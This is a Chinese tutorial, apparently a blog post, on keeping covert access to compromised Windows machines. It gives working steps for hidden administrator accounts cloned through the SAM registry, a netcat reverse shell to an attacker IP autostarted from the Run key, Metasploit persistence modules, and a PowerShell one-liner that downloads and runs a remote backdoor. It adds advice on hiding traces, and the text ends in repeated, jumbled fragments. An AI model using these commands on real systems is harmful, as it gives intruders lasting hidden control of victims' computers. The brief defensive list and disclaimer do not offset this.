Windows后渗透权限维持技术详解<\/h1>

一、前言<\/h2>
在渗透测试过程中，获取目标主机权限后，为防止因管理员发现并修补漏洞导致权限丢失，权限维持技术至关重要。本文详细总结Windows系统中的多种权限维持方法。<\/p>

二、影子账户技术<\/h2>

1. 创建隐藏账户<\/h3>

net user OMG$ \/add
<\/span><\/span><\/code><\/pre>注：$符号创建的账户在net user<\/code>命令下不可见<\/p>
2. 注册表操作步骤<\/h3>

打开注册表编辑器，定位到：
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
<\/code><\/pre>
<\/li>
找到Administrator项(通常为000001F4)，复制其F键值<\/li>
找到新创建账户(OMG$)对应的项，将F键值粘贴<\/li>
导出Names下的OMG$和对应数值项注册表<\/li>
删除账户：
net user OMG$ \/del
<\/span><\/span><\/code><\/pre><\/li>
导入之前导出的注册表文件<\/li>
<\/ol>
三、NC自启动技术<\/h2>
1. 基本NC连接<\/h3>

攻击机监听：
nc -l -vv -p [端口]
<\/span><\/span><\/code><\/pre><\/li>
目标机连接：
nc -t -e cmd.exe [攻击机IP] [端口]
<\/span><\/span><\/code><\/pre><\/li>
<\/ul>
2. 注册表自启动<\/h3>
将NC连接命令添加到以下注册表路径实现开机自启：<\/p>
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
<\/code><\/pre>
四、MSF权限维持技术<\/h2>
1. Persistence模块<\/h3>
run persistence -U -i [间隔秒数] -p [端口] -r [攻击机IP]
<\/code><\/pre>
参数说明：<\/p>

-U<\/code>：用户登录后自启动（写入HKCU注册表）<\/li>
-i<\/code>：反向连接间隔时间（秒）<\/li>
-p<\/code>：反向连接端口<\/li>
-r<\/code>：反向连接IP地址<\/li>
<\/ul>
2. Metsvc模块<\/h3>
run metsvc
<\/code><\/pre>
特点：<\/p>

在目标主机创建服务<\/li>
默认监听31337端口<\/li>
使用windows\/metsvc_bind_tcp<\/code>模块重新连接<\/li>
<\/ul>
五、PowerShell权限维持<\/h2>
1. 基本命令<\/h3>
powershell.exe -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http:\/\/[服务器]\/Invoke-taskBackdoor.ps1');Invoke-Tasksbackdoor -method nccat -ip [攻击机IP] -port [端口] -time [间隔]"<\/span>
<\/span><\/span><\/code><\/pre>2. 参数说明<\/h3>

-exec bypass<\/code>：绕过执行策略限制<\/li>
-method nccat<\/code>：使用NC连接方式<\/li>
-time<\/code>：连接间隔时间<\/li>
<\/ul>
六、技术对比与建议<\/h2>



方法<\/th>
隐蔽性<\/th>
可靠性<\/th>
适用场景<\/th>
<\/tr>
<\/thead>


影子账户<\/td>
高<\/td>
中<\/td>
长期权限维持<\/td>
<\/tr>

NC自启动<\/td>
低<\/td>
高<\/td>
需要持续监听<\/td>
<\/tr>

MSF Persistence<\/td>
中<\/td>
高<\/td>
专业渗透测试<\/td>
<\/tr>

PowerShell<\/td>
中<\/td>
高<\/td>
灵活部署<\/td>
<\/tr>
<\/tbody>
<\/table>
实战建议<\/strong>：<\/p>

优先使用MSF和PowerShell方法<\/li>
结合多种技术提高可靠性<\/li>
注意清理操作痕迹<\/li>
<\/ol>
七、防御措施<\/h2>

定期检查注册表启动项<\/li>
监控异常网络连接<\/li>
审核系统账户变化<\/li>
限制PowerShell执行权限<\/li>
部署EDR解决方案<\/li>
<\/ol>
注：本文所述技术仅用于安全研究和授权测试，未经授权使用属违法行为。<\/em><\/p>

方法<\/th>	隐蔽性<\/th>	可靠性<\/th>	适用场景<\/th> <\/tr> <\/thead>
影子账户<\/td>	高<\/td>	中<\/td>	长期权限维持<\/td> <\/tr>
NC自启动<\/td>	低<\/td>	高<\/td>	需要持续监听<\/td> <\/tr>
MSF Persistence<\/td>	中<\/td>	高<\/td>	专业渗透测试<\/td> <\/tr>
PowerShell<\/td>	中<\/td>	高<\/td>	灵活部署<\/td> <\/tr> <\/tbody> <\/table> 实战建议<\/strong>：<\/p> 优先使用MSF和PowerShell方法<\/li> 结合多种技术提高可靠性<\/li> 注意清理操作痕迹<\/li> <\/ol> 七、防御措施<\/h2> 定期检查注册表启动项<\/li> 监控异常网络连接<\/li> 审核系统账户变化<\/li> 限制PowerShell执行权限<\/li> 部署EDR解决方案<\/li> <\/ol> 注：本文所述技术仅用于安全研究和授权测试，未经授权使用属违法行为。<\/em><\/p>

Windows后渗透权限维持技术详解<\/h1>

一、前言<\/h2> 在渗透测试过程中，获取目标主机权限后，为防止因管理员发现并修补漏洞导致权限丢失，权限维持技术至关重要。本文详细总结Windows系统中的多种权限维持方法。<\/p>

二、影子账户技术<\/h2>

三、NC自启动技术<\/h2>

四、MSF权限维持技术<\/h2>

五、PowerShell权限维持<\/h2>

一、前言<\/h2>
在渗透测试过程中，获取目标主机权限后，为防止因管理员发现并修补漏洞导致权限丢失，权限维持技术至关重要。本文详细总结Windows系统中的多种权限维持方法。<\/p>